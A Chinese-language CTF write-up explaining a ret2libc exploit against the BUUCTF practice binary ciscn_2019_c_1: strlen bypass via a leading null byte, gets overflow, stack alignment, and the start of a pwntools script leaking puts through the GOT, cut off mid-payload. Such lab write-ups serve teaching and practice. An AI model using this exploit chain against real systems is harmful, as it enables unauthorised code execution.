BUUCTF ciscn_2019_c_1（ret2libc）

BUUCTF ciscn_2019_c_1（ret2libc）

首先还是check一下，之后放到IDA里面进行分析

可以看到里面有一个encrypt函数，我们来对他进行一个分析，可以看到一个关键点

做法一：

我们可以得出只要输入东西了，这个IF判断就是成立的，所以我们这里需要了解一个知识：在输入的内容前面加入’\0’可以绕过strlen这个函数

在这个函数里我们也可以很快找到溢出的地方，gets函数，对于我们输入的内容长度没有限制，再看上面定义变量的时候，s距离栈底的长度为0x50,纵观函数内容我们可以发现这里面没有system函数，也没有’/bin/sh’字符串，所以需要用到ret2libc,那么接下来就可以开始构造了

Ubuntu18的服务器中，调用system需要栈对齐，这里就用填充ret来对齐。栈的字节对齐，实际是指栈顶指针须是某字节的整数倍。

from pwn import *
from LibcSearcher import *
r=remote('xxx',xxx)
elf=ELF('./ciscn_2019_c_1')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+